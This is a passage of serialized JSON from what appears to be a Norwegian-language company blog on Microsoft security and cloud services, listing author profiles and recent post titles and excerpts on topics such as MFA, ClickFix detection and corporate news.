Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3003,"avatar":3004,"permalink":3005,"linkedin":3006},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3008,"avatar":3009,"permalink":3010,"linkedin":3011},"Mahschid Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3013,"avatar":3014,"permalink":3015,"linkedin":3016},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3018,"avatar":3019,"permalink":3020,"linkedin":3021},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3023,"avatar":3024,"permalink":3025,"linkedin":3026,"imageOffsetTop":2781},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3028,"avatar":3029,"permalink":3030,"linkedin":3031,"imageOffsetTop":2781},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3033,"avatar":3034,"permalink":3035,"linkedin":3036,"imageOffsetTop":2881},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3038,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2881},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2881},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":3051,"imageOffsetLeft":3052},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2808},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3067,"Alexander Schlindwein":3068,"Sophie Luna":3069,"Nadine Klein":3070,"Karsten Kleinschmidt":3071,"Julian Wendt":3072,"Holger Bunkradt":3073,"Ralf Mania":3074,"Oliver Kieselbach":3075,"Steffen Schwerdtfeger":3076,"Gunnar Winter":3077,"Jan Petersen":3078,"Thorsten Kunzi":3079,"Moritz Pohl":3080,"Thorben Pöschus":3081,"Christoph Hannebauer":3082,"Marco Scheel":3083,"Christopher Brumm":3084,"Florian Klante":3085,"Niklas Bachmann":3086,"Nils Krautkrämer":3087,"Patrick Treptau":3088,"Peter Beckendorf":3089,"Patrick Sobau":3090,"Jörg Wunderlich":3091,"Michael Breither":3092,"Christian Kanja":3093,"Zeba Hoffmann":3094,"Jochen Fröhlich":3095,"Jan Geisbauer":3096,"Gerrit Reinke":3100,"Christian Kordel":3101,"Stephan Wälde":3102,"Carolin Kanja":3103,"Adrian Ritter":3104,"Marvin Bangert":3105,"Thorsten Pickhan":3106,"Christian Lorenz":3107,"Denis Böhm":3108,"Fabian Bader":3109,"Juan Jose Fernandez Perez":3110,"Mahschid Sayyar":3111,"Benjamin Dassow":3112,"Markus Walschburger":3113,"Jonathan Haist":3114,"Daniel Rohregger":3115,"Thomas Naunheim":3116,"Florian Stöckl":3117,"Pascal Asch":3118,"Markus Kättner":3119,"Anna Ulbricht":3120,"Annette Brauns":3121},{"display_name":2777,"avatar":2778,"permalink":2779,"linkedin":2780,"imageOffsetTop":2781},{"display_name":2783,"avatar":2784,"permalink":2785,"twitter":2786,"linkedin":2787},{"display_name":2789,"avatar":2790,"permalink":2791,"twitter":2792,"linkedin":2793,"imageOffsetLeft":2794,"imageOffsetTop":2795},{"display_name":2797,"avatar":2798,"permalink":2799,"twitter":2800,"linkedin":2801,"imageOffsetTop":2781},{"display_name":2803,"avatar":2804,"permalink":2805,"twitter":2806,"linkedin":2807,"imageOffsetTop":2808,"imageOffsetLeft":2809},{"display_name":2811,"avatar":2812,"permalink":2813,"linkedin":2814},{"display_name":2816,"avatar":2817,"permalink":2818,"linkedin":2819,"twitter":2820},{"display_name":2822,"avatar":2823,"permalink":2824,"linkedin":2825,"twitter":2826},{"display_name":2828,"avatar":2829,"permalink":2830,"linkedin":2831,"twitter":2832},{"display_name":2834,"avatar":2835,"permalink":2836,"linkedin":2837,"twitter":2838,"imageOffsetTop":2839,"imageOffsetLeft":2840},{"display_name":2842,"avatar":2843,"permalink":2844,"twitter":2792,"linkedin":2845},{"display_name":2847,"avatar":2848,"permalink":2849,"twitter":2792,"linkedin":2850},{"display_name":2852,"avatar":2853,"permalink":2854,"twitter":2792,"linkedin":2845,"imageOffsetTop":2781},{"display_name":2856,"avatar":2857,"permalink":2858,"twitter":2792,"linkedin":2859},{"display_name":2861,"avatar":2862,"permalink":2863,"twitter":2864,"linkedin":2865},{"display_name":2867,"avatar":2868,"permalink":2869,"twitter":2792,"linkedin":2845,"imageOffsetTop":2781},{"display_name":2871,"avatar":2872,"permalink":2873,"twitter":2874,"linkedin":2874},{"display_name":2876,"avatar":2877,"permalink":2878,"twitter":2879,"linkedin":2880,"imageOffsetTop":2881},{"display_name":2883,"avatar":2884,"permalink":2885,"linkedin":2886,"twitter":2792},{"display_name":2888,"avatar":2889,"permalink":2890,"linkedin":2891,"twitter":2792},{"display_name":2893,"avatar":2894,"permalink":2895,"twitter":2896,"linkedin":2897},{"display_name":2899,"avatar":2900,"permalink":2901,"linkedin":2902,"twitter":2792},{"display_name":2904,"avatar":2905,"permalink":2906,"linkedin":2907,"twitter":2792,"imageOffsetTop":2781},{"display_name":2909,"avatar":2910,"permalink":2911,"linkedin":2912,"twitter":2792},{"display_name":2914,"avatar":2915,"permalink":2916,"twitter":2792},{"display_name":2918,"avatar":2919,"permalink":2920,"twitter":2792,"linkedin":2921},{"display_name":2923,"avatar":2924,"permalink":2925,"twitter":2926,"linkedin":2927},{"display_name":2929,"avatar":2930,"permalink":2931,"linkedin":2932,"twitter":2792},{"display_name":2934,"avatar":2935,"permalink":2936,"twitter":2792,"linkedin":2845},{"display_name":2712,"avatar":2938,"permalink":2939,"twitter":2940,"linkedin":2940,"imageOffsetTop":2781,"socials":3097},[3098,3099],{"text":2943,"href":2944},{"text":2946,"href":2947},{"display_name":2949,"avatar":2950,"permalink":2951,"twitter":2952,"linkedin":2953},{"display_name":2955,"avatar":2956,"permalink":2957,"twitter":2792,"linkedin":2845},{"display_name":2959,"avatar":2960,"permalink":2961,"twitter":2962,"linkedin":2845},{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},{"display_name":2970,"avatar":2971,"permalink":2972,"twitter":2973,"linkedin":2973},{"display_name":2975,"avatar":2976,"permalink":2977,"twitter":2978,"linkedin":2979},{"display_name":2981,"avatar":2982,"permalink":2983,"twitter":2984,"linkedin":2985},{"display_name":2987,"avatar":2988,"permalink":2989,"linkedin":2990,"twitter":2792},{"display_name":2992,"avatar":2993,"permalink":2994,"linkedin":2995,"twitter":2792},{"display_name":2997,"avatar":2998,"permalink":2999,"linkedin":3000,"twitter":3001},{"display_name":3003,"avatar":3004,"permalink":3005,"linkedin":3006},{"display_name":3008,"avatar":3009,"permalink":3010,"linkedin":3011},{"display_name":3013,"avatar":3014,"permalink":3015,"linkedin":3016},{"display_name":3018,"avatar":3019,"permalink":3020,"linkedin":3021},{"display_name":3023,"avatar":3024,"permalink":3025,"linkedin":3026,"imageOffsetTop":2781},{"display_name":3028,"avatar":3029,"permalink":3030,"linkedin":3031,"imageOffsetTop":2781},{"display_name":3033,"avatar":3034,"permalink":3035,"linkedin":3036,"imageOffsetTop":2881},{"display_name":3038,"avatar":3039,"permalink":3040,"linkedin":3041,"imageOffsetTop":2881},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2881},{"display_name":3047,"avatar":3048,"permalink":3049,"linkedin":3050,"imageOffsetTop":3051,"imageOffsetLeft":3052},{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2808},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3125,"authors":3329},[3126,3143,3157,3171,3187,3200,3213,3226,3238,3254,3268,3284,3289,3300,3313],{"id":3127,"title":3128,"author":3129,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3130,"moment":3135,"path":3136,"stem":3137,"tags":3138,"webcast":484},"content_no/posts/2026-09-22-end-of-mfa-sms.md","Slutten på MFA-SMS",[2803],{"lang":2677,"date":3131,"categories":3132,"blogtitlepic":3133,"customExcerpt":3134},"2026-09-21",[235],"head-conditional-access.jpg","Hvorfor bedrifter nå bør gå over til phishing-resistente og helst passordløse påloggingsmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,3139,3140,3141,3142],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3144,"title":3145,"author":3146,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3147,"moment":3131,"path":3151,"stem":3152,"tags":3153,"webcast":484},"content_no/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brukeren er exploiten, og hvordan dere stopper det",[2777,2797],{"lang":2677,"date":3131,"categories":3148,"blogtitlepic":3149,"customExcerpt":3150},[235],"head-clickfix.jpg","ClickFix gjør brukere til sin egen angriper: en forfalsket CAPTCHA, en kopier-lim-inn, og skadekode kjører i minnet uten at noe havner på disken. Hvordan Microsoft Defender oppdager angrepet, hvor deteksjonen kommer til kort, og hvordan dere lukker hullet med et RunMRU-hunt og fire beskyttelseslag.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3154,3155,3156],"Defender","SOC","Endpoint Security",{"id":3158,"title":3159,"author":3160,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3161,"moment":3131,"path":3165,"stem":3166,"tags":3167,"webcast":484},"content_no/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin og hverdag på samme maskin? Game Over.",[2712],{"lang":2677,"date":3131,"categories":3162,"blogtitlepic":3163,"customExcerpt":3164},[235],"head-game-over-en.jpg","Hvorfor én tenant ikke er nok for CIO-er, og hvorfor den andre sjelden blir tenkt på. Managed Red Tenant skiller administrativt arbeid arkitektonisk fra office-miljøet, Managed Dark Tenant holder bedriften handlekraftig når forsvaret likevel faller. Hva det betyr for driftsmodell, SOC-signal og dokumentasjonspliktene etter NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,3168,3169,3170],"Privileged Access","Zero Trust","NIS2",{"id":3172,"title":3173,"author":3174,"cta":494,"description":3175,"hideInRecent":484,"layout":2675,"meta":3176,"moment":3177,"path":3182,"stem":3183,"tags":3184,"webcast":484},"content_no/posts/2026-08-08-isg-germany-2026.md","Fire ganger Leader. glueckkanja i ISG-studien Tyskland 2026",[2964],"ISG har endret navn på studien sin i år. Microsoft Cloud Ecosystem ble til Microsoft AI and Cloud Ecosystem, og med navnet har målestokken forskjøvet seg: det som vurderes, er ikke lenger hvem som innfører Microsoft-plattformer, men hvem som drifter Copilot, agenter og AI-workloads kontrollerbart. Den nye målestokken har ikke endret posisjonen vår. ISG Provider Lens®-studien Tyskland 2026 posisjonerer oss som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, både i Large Market og i Mid Market. Etter 2021, 2023, 2024 og 2025 er det den femte Leader-plasseringen i Tyskland, i Sveits kom spranget inn i Leader-kvadranten to uker tidligere.",{"lang":2677,"date":3177,"categories":3178,"blogtitlepic":3180,"customExcerpt":3181},"2026-08-08",[3179],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-studien 2026 posisjonerer glueckkanja i Tyskland som Leader i fire kvadranter: Microsoft Productivity and Business Process Services og Azure Managed Services, både i Large og i Mid Market. Studien heter nå Microsoft AI and Cloud Ecosystem, og målestokken har forskjøvet seg: det som vurderes, er hvem som drifter AI- og agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3185,3186],"Award","ISG",{"id":3188,"title":3189,"author":3190,"cta":494,"description":3191,"hideInRecent":484,"layout":2675,"meta":3192,"moment":3193,"path":3197,"stem":3198,"tags":3199,"webcast":484},"content_no/posts/2026-07-31-isg-switzerland-2026.md","Fra Rising Star til Leader. glueckkanja i ISG-studien Sveits 2026",[2964],"I 2024 grunnla vi glueckkanja Switzerland AG og flyttet inn i et kontor i zentroom på Bahnhofplatz 10b i Bern. I 2025 plasserte ISG oss i det sveitsiske markedet som Rising Star, altså den leverandøren analytikerne tror vil klare spranget inn i Leader-kvadranten. Nå er spranget dokumentert: ISG Provider Lens®-studien 2026 posisjonerer oss i Sveits som Leader i kvadranten Microsoft AI and Cloud Ecosystem, innen områdene Azure Managed Services og Microsoft Productivity and Business Process Services.",{"lang":2677,"date":3193,"categories":3194,"blogtitlepic":3195,"customExcerpt":3196},"2026-07-31",[3179],"head-isg-ch-2026.png","ISG Provider Lens®-studien 2026 posisjonerer glueckkanja i Sveits som Leader i kvadranten Microsoft AI and Cloud Ecosystem, innen områdene Azure Managed Services og Microsoft Productivity and Business Process Services. To år etter inntredenen i markedet i Bern, ett år etter Rising-Star-utmerkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3185,3186],{"id":3201,"title":3202,"author":3203,"cta":494,"description":585,"hideInRecent":484,"layout":2675,"meta":3204,"moment":3205,"path":3209,"stem":3210,"tags":3211,"webcast":484},"content_no/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Hva OpenAI/Hugging-Face-hendelsen avslører, og hva den ikke gjør",[2712],{"lang":2677,"date":3205,"categories":3206,"blogtitlepic":3207,"customExcerpt":3208},"2026-07-24",[235],"head-outbreak.jpg","En AI-agent bryter seg ut av testmiljøet sitt, finner en zero-day og hacker et annet selskap. Høres ut som et filmmanus, men skjedde faktisk i juli 2026. På tide med en nøktern vurdering: med litt psykologi, to security-veteraner og spørsmålet om hva dette betyr for forsvaret deres.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3212,3155,3169],"AI",{"id":3214,"title":3215,"author":3216,"cta":494,"description":3217,"hideInRecent":484,"layout":2675,"meta":3218,"moment":3219,"path":3223,"stem":3224,"tags":3225,"webcast":484},"content_no/posts/2026-07-22-isg-cybersecurity-2026.md","Leader og Rising Star. glueckkanja i ISG-studien Cybersecurity 2026",[2964],"Ny i kvadranten og Leader med én gang: ISG Provider Lens®-studien «Cybersecurity – Services and Solutions 2026» posisjonerer glueckkanja som Leader innen Next-Gen SOC/MDR Services for det tyske mellommarkedet. I totalmarkedet for Next-Gen SOC/MDR Services kårer ISG oss til Rising Star, altså den leverandøren analytikerne tror vil klare spranget inn i Leader-kvadranten innen de neste 12 til 24 månedene.",{"lang":2677,"date":3219,"categories":3220,"blogtitlepic":3221,"customExcerpt":3222},"2026-07-22",[3179],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-studien Cybersecurity 2026 kårer glueckkanja til Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I totalmarkedet for Next-Gen SOC/MDR Services er vi Rising Star. ISG framhever vekst over gjennomsnittet, dyp Microsoft-security-ekspertise og et 24/7 SOC driftet fra Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3185,3186,235],{"id":3227,"title":3228,"author":3229,"cta":494,"description":3230,"hideInRecent":484,"layout":2675,"meta":3231,"moment":3232,"path":3235,"stem":3236,"tags":3237,"webcast":484},"content_no/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Hva AI faktisk trenger for å jobbe",[2964],"En produksjonsbedrift vil vite hvilke av sine 14 000 SKU-er som faktisk er lønnsomme. Svaret ligger i tre systemer som aldri har utvekslet ett eneste datapunkt med hverandre. Til for kort tid siden kostet det tre avdelinger, to uker og en god del velvilje å få det. Siden begynnelsen av 2026 kan en AI besvare dette spørsmålet på minutter: søke gjennom dataene, etablere sammenhenger, produsere en anbefaling. Forutsatt at den har tilgang.",{"lang":2677,"date":3232,"categories":3233,"blogtitlepic":3234},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3212,131],{"id":3239,"title":3240,"author":3241,"cta":494,"description":3242,"hideInRecent":484,"layout":2675,"meta":3243,"moment":3244,"path":3248,"stem":3249,"tags":3250,"webcast":484},"content_no/posts/2026-07-01-onboarding-process.md","Kontrakten er signert: Slik foregår onboardingen din hos oss",[3054],"Hvordan foregår egentlig onboardingen hos dere? Et spørsmål som stadig dukker opp i samtaler med søkere, for mange har allerede opplevd at en onboarding går trått. Desto viktigere er det for oss å gi deg en god følelse helt fra starten.",{"lang":2677,"date":3244,"categories":3245,"blogtitlepic":3246,"customExcerpt":3247},"2026-07-01",[3179],"Onboarding_Blogheader","Kontrakten er signert, det første store steget er tatt. Men hva skjer nå? Vi tar deg med bak kulissene i onboardingen vår, fra PreBoarding til den første uka i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3251,3252,3253],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3255,"title":3256,"author":3257,"cta":494,"description":3258,"hideInRecent":484,"layout":2675,"meta":3259,"moment":3260,"path":3264,"stem":3265,"tags":3266,"webcast":484},"content_no/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi er en av dem",[2964],"I Microsofts partnerøkosystem finnes det en hel rekke anerkjennelser, og likevel skiller Frontier Partner Badge seg fra de andre utmerkelsene i måten den er lagt opp på. Den kan ikke søkes om, men tildeles på Microsofts initiativ til en eksklusiv gruppe partnere som må overbevise i flere disipliner parallelt, i stedet for å briljere i én enkelt. Microsoft vurderer dokumentert kompetanse i Cloud & AI Platforms, i AI Business Solutions og i Security likeverdig, og henvender seg dermed til virksomheter som ikke ser AI som et påheng på eksisterende IT, men som resultatet av en gjennomgående arkitektur som bærer fra identiteten via endepunktet og helt inn i produktiv AI-drift.",{"lang":2677,"date":3260,"categories":3261,"blogtitlepic":3262,"customExcerpt":3263},"2026-06-26",[3179],"head-frontier-partner-badge.jpg","Nylig har Microsoft AI Cloud Partner Program fått en ny toppanerkjennelse, Frontier Partner Badge. Microsoft tildeler den utelukkende til en eksklusiv gruppe partnere verden over som leverer AI-prosjekter på hele Microsoft-stacken på en bærekraftig måte, fra arbeidsplassen via cloud-plattformen og security til selve AI-anvendelsen, og som har dokumentert dette i praksis. I DACH-området teller denne gruppen bare en håndfull selskaper, og vi er ett av dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3185,3267,3212],"Microsoft Partner",{"id":3269,"title":3270,"author":3271,"cta":494,"description":3272,"hideInRecent":484,"layout":2675,"meta":3273,"moment":3274,"path":3278,"stem":3279,"tags":3280,"webcast":484},"content_no/posts/2026-06-09-vair-run.md","160 kilometer for en god sak",[3061],"Søndag morgen, klokka 8:30, Holbeinsteg ved Main. Elleve kolleger i like NinjaCat-skjorter, klare for Frankfurter Runden. Regn, lyn og torden inkludert. Å løpe for en god sak var motivasjon nok til å snøre løpeskoene tross det dårlige været.",{"lang":2677,"date":3274,"categories":3275,"blogtitlepic":3276,"customExcerpt":3277},"2026-06-08",[3179],"frankfurter-runden.png","Elleve kolleger, 16 runder, 160 kilometer, et tordenvær og en pallplassering: glueckkanja var med på Frankfurter Runden 2026 og donerte for hver løpte runde til VAIR e.V., som bygger en inkluderende sports- og kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3281,3251,3282,3283],"Top Arbeitgeber","Soziales Engagement","| NO",{"id":520,"title":521,"author":3285,"cta":494,"description":530,"hideInRecent":484,"layout":2675,"meta":3286,"moment":2680,"path":2761,"stem":2763,"tags":3288,"webcast":484},[523],{"lang":2677,"date":2680,"categories":3287,"blogtitlepic":2682,"customExcerpt":2684},[235],[2765,2766,2767,2768,2769],{"id":3290,"title":3291,"author":3292,"cta":494,"description":3293,"hideInRecent":484,"layout":2675,"meta":3294,"moment":3295,"path":3298,"stem":3299,"tags":494,"webcast":484},"content_no/posts/2026-03-21-microsoft-edge-corporate-browser.md","Derfor bør Edge være deres eneste corporate browser",[2834],"Valget av nettleser er en strategisk beslutning i bedriftsmiljøer: det påvirker direkte hvor mye sikkerhet og administrasjonsarbeid du faktisk får. Google Chrome var lenge det åpenbare valget, men Microsoft Edge har utviklet seg til en nettleser som griper direkte inn i den eksisterende stacken, særlig når Microsoft 365 er i bruk og administrasjonen går via Intune.",{"lang":2677,"date":3295,"blogtitlepic":3296,"customExcerpt":3297},"2026-03-21","head-microsoft-edge-default-browser.jpg","Ingen virksomhet har egentlig valgt Chrome; den var bare der, med sin egen sync-logikk, sin egen kontoadministrasjon, sitt eget grensesnitt for policyer. Microsoft Edge griper derimot rett inn i infrastrukturen som allerede kjører: Entra ID, Intune, Defender. Dette innlegget viser hvordan overgangen ser ut, hvordan Chrome omdirigeres til en landingsside via Intune-policy, og hva som faller bort når du slutter å drifte to nettlesere parallelt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3301,"title":3302,"author":3303,"cta":494,"description":3304,"hideInRecent":484,"layout":2675,"meta":3305,"moment":3306,"path":3310,"stem":3311,"tags":3312,"webcast":484},"content_no/posts/2026-03-20-stryker-attack-intune-privilege.md","En admin-konto var alt som skulle til.",[2712],"Onsdag 11. mars 2026. Ansatte i Stryker-kontorer i 79 land slo på datamaskinene sine og fant dem tomme. Innloggingsskjermer erstattet av en logo. Firmalaptoper, tjenestemobiler, private enheter registrert i selskapets BYOD-program, alle slettet samtidig, over natten. Ingen ransomware, ingen malware-signaturer, ingenting som et endpoint-detection-verktøy kunne ha fanget opp.",{"lang":2677,"date":3306,"categories":3307,"blogtitlepic":3308,"customExcerpt":3309},"2026-03-20",[235],"head-stryker.jpg","Den 11. mars 2026 slettet Handala enheter i 79 land, og alt som skulle til, var en kompromittert Intune-admin-konto. Ingen malware, ingen exploit, bare legitime management-verktøy vendt mot sine egne eiere. Hva som skjedde, hvorfor det virket, og hvilke to arkitektoniske hull som må tettes.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3168,3169],{"id":3314,"title":3315,"author":3316,"cta":494,"description":3317,"hideInRecent":484,"layout":2675,"meta":3318,"moment":3319,"path":3323,"stem":3324,"tags":3325,"webcast":484},"content_no/posts/2026-03-16-ai-agent-hackathon.md","Seks Agents. Fire uker. Ekte drift.",[2964],"Hvor mange timer bruker IT-avdelingen din per uke på oppgaver som en Agent kunne løst på minutter?",{"lang":2677,"date":3319,"categories":3320,"blogtitlepic":3321,"customExcerpt":3322},"2026-03-16",[3179],"head-ai-agent-hackathon.jpg","Seks selskaper, fire ukers byggefase, seks fungerende AI Agents. Det var den første glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa og lila logistik bygde Agents i Copilot Studio som i dag kjører i produksjon. Hva som kom ut av det, og hvordan formatet fungerer.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3212,3326,3327,3328],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3330,"Fritz Zurhorst":3331,"Nadine Klein":3332,"Jan Geisbauer":3333,"Carolin Kanja":3337,"Anna Ulbricht":3338,"Annette Brauns":3339,"Pascal Asch":3340,"Steffen Schwerdtfeger":3341},{"display_name":2803,"avatar":2804,"permalink":2805,"twitter":2806,"linkedin":2807,"imageOffsetTop":2808,"imageOffsetLeft":2809},{"display_name":2777,"avatar":2778,"permalink":2779,"linkedin":2780,"imageOffsetTop":2781},{"display_name":2797,"avatar":2798,"permalink":2799,"twitter":2800,"linkedin":2801,"imageOffsetTop":2781},{"display_name":2712,"avatar":2938,"permalink":2939,"twitter":2940,"linkedin":2940,"imageOffsetTop":2781,"socials":3334},[3335,3336],{"text":2943,"href":2944},{"text":2946,"href":2947},{"display_name":2964,"avatar":2965,"permalink":2966,"twitter":2967,"linkedin":2968},{"display_name":3054,"avatar":3055,"permalink":3056,"linkedin":3057,"imageOffsetTop":3058,"imageOffsetLeft":3059},{"display_name":3061,"avatar":3062,"permalink":3063,"linkedin":3064,"imageOffsetTop":3065,"imageOffsetLeft":2808},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2881},{"display_name":2834,"avatar":2835,"permalink":2836,"linkedin":2837,"twitter":2838,"imageOffsetTop":2839,"imageOffsetLeft":2840},{"id":2772,"extension":2773,"meta":3343,"stem":8,"__hash__":3123},{"Pascal Asch":3344},{"display_name":523,"avatar":3043,"permalink":3044,"linkedin":3045,"imageOffsetTop":2881},1791383946588]